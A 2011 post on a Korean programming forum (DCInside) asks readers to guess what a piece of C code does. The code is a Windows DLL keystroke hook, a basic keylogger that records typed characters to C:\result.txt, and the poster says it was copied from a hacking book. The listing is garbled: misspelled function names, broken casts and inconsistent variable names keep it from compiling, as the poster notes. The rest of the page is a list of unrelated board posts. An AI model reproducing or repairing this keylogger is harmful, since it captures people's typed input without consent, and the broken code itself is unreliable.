디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

님들 이게 뭔지알아요 ㅋㅋ?

안초심갤로그로 이동합니다. 2011.09.16 12:25:13
조회 80 추천 0 댓글 2

#include <windows.h>

#define BUFFER_SIZE 50

HINSTANCE hinst;

#define EXPORT_declspec(dllexport)


static char str[BUFFER_SIZE];  // 문자열을 저장할 버퍼
static int Max_buf = 50;              // 50자만 저장
static int count = 0;                    // 몇개의 문자가 쌓여있나 카운트
static BOOL stop = FALSE;

BOOL WINAPI Dll Main (HINSTANCE hinstDll , DWORD dwreason , LPVOID lpReserved)

{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
      hinst = hinstDll;
      str[0] = 0; // 단순한 배열 초기화
     }
      return TRUE;
     }
     EXPORT LRESULT CALLBACK GetMsgproc ( INT nCode , WPARAM wp , LPARAM lp)
     {
      HFILE hfile;
      long msgTemp;
     char strTemp[2];

     if( nCode >= 0 )
     {
      msgTemp = (MSH*>lp) -> message ; // 메세지 가져오기

    if( count < ( Max_buf + 2 ) )
     { // 받아 온 메세지중 WM_CHAR만 걸러낸다

    if( ( !stop ) && (msgTemp == (long)WM_CHAR ) )
    {
    if( ( count++) > 50 ) // 50자만 저장한다
    {
    char a [5] = { 13 , 10 , 13 , 10 , 0 }; // <CRLF> 두번 넣음

   hFile = _ lopen ("C:\\\\result.txt" , OF_READWRITE);

   if( hfile < 0 )
    { // 이미 있으면 이어 붙인다
     hFile = _ lcreat ("C:\\\\result.txt" , 0 );
     _llseek (hfile, 0L , FILE_BEGIN);
    }
    
    else__llseek(hfile, 0L , FILE_END);

  _lwirte ( hFile, a, 5 );
  _lwrite ( hFile, str , BUFFER_SIZE);
  _lclose(hFile);
 
    stop = TRUE; 
   }
   else
   {
    strTemp [0] = ((MSG*)lp) -> wParam;
    strTemp [1] = 0;

   strcat (str , strTemp);
     }
    }
   }
  }
 return (stop) ? TRUE : CallNextHookEx (NULL , nCode , wp , lp);

  }



이게 뭔지아는사람 ㅋㅋ??
해킹하는책에서 가져온건데
메세지후킹하는 파일만드는 소스인데 잘못적어왓나보다..ㅋㅋ컴파일오류뜸

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 모태 솔로도 구제해 줄 것 같은 연애 고수 스타는? 운영자 25/07/21 - -
AD 곧 휴가!! 홈캉스, 바캉스 SALE 운영자 25/07/21 - -
272077 아오 C 메모리관리하는거 자세히 나와있는 책 없어? [5] 나리링갤로그로 이동합니다. 11.09.14 109 0
272076 횽들 늅늅이 왔어욤.. 아는척좀 해주세용~ [5] ㅋㄱ(183.96) 11.09.14 68 0
272075 하반기 공채 물건너 갔다.. [18] 막장갤신학생갤로그로 이동합니다. 11.09.14 214 0
272074 형님들. 도움좀 주세요... (고민상담) [3] Re-FEEL갤로그로 이동합니다. 11.09.14 70 0
272073 jsp공부하면서 오라클리눅스 [4] 三didas갤로그로 이동합니다. 11.09.14 90 0
272071 아오 시밤 dvd로 구워 놓는다는걸 깜박해서 vs 다운 받는 중 거칠게갤로그로 이동합니다. 11.09.14 34 0
272069 이력서 경력란에 C, C++ 마스터 라고 썼다. [4] 천재해커(121.190) 11.09.14 213 0
272067 격투게임 좋아하는 횽들보셈 [13] McHello갤로그로 이동합니다. 11.09.14 180 0
272066 잡코리아나 사람인 가보면 개발자 신입은 거의 안뽑는다. [4] 거칠게갤로그로 이동합니다. 11.09.14 182 0
272065 PlayStation2가 정말 후진 머신이긴 한가보다... [2] 분당살람갤로그로 이동합니다. 11.09.14 85 0
272063 형들 C 한달만에 마스터하면 빠른거야? [10] 뉴비냄새(165.194) 11.09.14 167 0
272060 구조체 포인터배열 질문 [9] ㄴㄹㅈㄷㄹㅈ(211.114) 11.09.14 91 0
272058 생성자와 소멸자 [2] 천재해커(121.190) 11.09.14 68 0
272057 행님들 wav -> spectrum 변환하는 공개 알고리즘(Lib) [3] 프로그래머(211.183) 11.09.14 71 0
272055 이런거 자꾸 올리면 안되는뎈ㅋㅋ [3] 이문동쮸쮸바갤로그로 이동합니다. 11.09.14 97 0
272053 행님들, 도와주세여ㅠ [2] 프뢁(124.54) 11.09.14 68 0
272050 갓뎀, 왜 정보가 털리고 보안망이 뚫리는지 훤히 알겠어 [1] 이모군(112.219) 11.09.14 101 0
272049 오늘부터 로하로하알로하갤로그로 이동합니다. 11.09.14 19 0
272047 그래픽 랜더링 기술... 이문동쮸쮸바갤로그로 이동합니다. 11.09.14 60 0
272045 나 10년동안 하루에 10시간씩 컴퓨터했는데 코딩을 못함 [4] ㅇㅇ(61.77) 11.09.14 139 0
272044 오늘따라 프갤이 재미없다.. [2] 이문동쮸쮸바갤로그로 이동합니다. 11.09.14 67 0
272043 횽들 국비지원 언어 선택 관련 조언 부탁드려요.. ㅜㅜ 좀 길어요 [8] 헬푸미(121.136) 11.09.14 268 1
272039 내가 보기엔 쵸쵸도 알바인 듯 분당살람갤로그로 이동합니다. 11.09.14 52 0
272038 OpenGL 질문점 [6] 그딴건없구염&#039;ㅡ&am.갤로그로 이동합니다. 11.09.14 108 0
272037 사실 내가 디시 알바다. [1] 천재해커(121.190) 11.09.14 62 0
272036 웁...웁... [1] 분당살람갤로그로 이동합니다. 11.09.14 64 0
272034 누구 비베로 액티브x 수동설치 배포해본 횽 있어? [2] blackd갤로그로 이동합니다. 11.09.14 88 0
272032 Ashenvale은 사실 나랑 불알 친구다. 천재해커(121.190) 11.09.14 52 0
272031 주석달았는데 좀 추가부탁합니다 츄파츕스(203.255) 11.09.14 32 0
272030 VCNC 아시는분만요 ㅠ [3] 복학생(112.171) 11.09.14 71 0
272029 안철수연구소 저자들이 쓴 Application Hacking 볼만한가? Deanex갤로그로 이동합니다. 11.09.14 61 0
272025 wd 하드 교품 후기 [1] 거칠게갤로그로 이동합니다. 11.09.14 66 0
272022 C++ 을 알기 위해선 C를 알아야 한다. 천재해커(121.190) 11.09.14 90 0
272021 아이맥 27인치 짜리 고치러 왔나봐 ㅋㅋ [4] 거칠게갤로그로 이동합니다. 11.09.14 99 0
272020 중소기업 마저 신입을 안키우면 [1] 거칠게갤로그로 이동합니다. 11.09.14 92 0
272019 정보보안전문가 JAVA 필수임...? (조공짤) 안초심갤로그로 이동합니다. 11.09.14 141 0
272018 용산에 온김에 스피커랑 헤드셋 사야겠다 [1] 거칠게갤로그로 이동합니다. 11.09.14 42 0
272017 자바 이클립스 말고 또무엇무엇잇음? [1] 오마이갓넬갤로그로 이동합니다. 11.09.14 136 0
272016 요즘은 이력서 메일 확인 하라고 문자도 주네?? 거칠게갤로그로 이동합니다. 11.09.14 73 0
272014 님들 몇살때부터 프로그래밍에 관심잇엇음? [3] 오마이갓넬갤로그로 이동합니다. 11.09.14 101 0
272013 클래스 [1] 천재해커(121.190) 11.09.14 59 0
272009 티스토리 초대장 보냈음 ㅋㅋㅋ [1] [성대아싸]갤로그로 이동합니다. 11.09.14 41 0
272008 소셜댓글 LiveRe Plz... [1] MEECL갤로그로 이동합니다. 11.09.14 45 0
272006 안드로이드 AVD 에서 카메라 있잖아요?? 체크무늬 나오는거. 질문인데 형들아(220.66) 11.09.14 358 0
272005 변수명? 함수명? 쉬우면서 가독성 좆게 짓는법!! [2] blackd갤로그로 이동합니다. 11.09.14 109 0
272004 27에 신입이면 좀 늦나?? [4] 공대생(210.119) 11.09.14 204 0
272003 고양이 iljeomobolt갤로그로 이동합니다. 11.09.14 49 0
272002 아오 시밤 1분 차이로 점심시간 크리 거칠게갤로그로 이동합니다. 11.09.14 25 0
272001 티스토리 초대장 보내드림 [5] [성대아싸]갤로그로 이동합니다. 11.09.14 93 0
271999 전철에서 옆에 여자가 앉았는데 몹시 뜨겁다 [1] 거칠게갤로그로 이동합니다. 11.09.14 103 0
뉴스 “○○ 때문에 머리 풀었다”…이영자, 꽃무늬 원피스 입고 기다린 사람은 디시트렌드 07.22
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

뉴스

디시미디어

디시이슈

1/2